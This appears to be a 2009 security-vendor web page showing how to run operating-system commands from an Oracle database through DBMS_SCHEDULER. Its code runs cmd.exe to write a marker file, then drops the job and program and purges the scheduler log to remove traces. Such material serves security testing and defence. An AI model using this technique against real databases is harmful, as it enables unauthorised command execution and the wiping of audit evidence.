Red-Database-Security GmbH is specialized in Oracle SecurityProductsRepscan 2.5 Hedgehog Enterprise Checkpwd (free)
Services
Information
Company |
Run OS commands via dbms_scheduler Requirements
Since Oracle 10.2.0.2 the commands are executed as user nobody. Code: --Create a Program for dbms_scheduler exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE); --Create, execute and delete a Job for dbms_scheduler exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE); --delete the program exec DBMS_SCHEDULER.drop_program(PROGRAM_NAME => 'RDS2008'); --Purge the logfile for dbms_scheduler exec DBMS_SCHEDULER.PURGE_LOG; © 2009 by Red-Database-Security GmbH - last update 20-apr-2009 |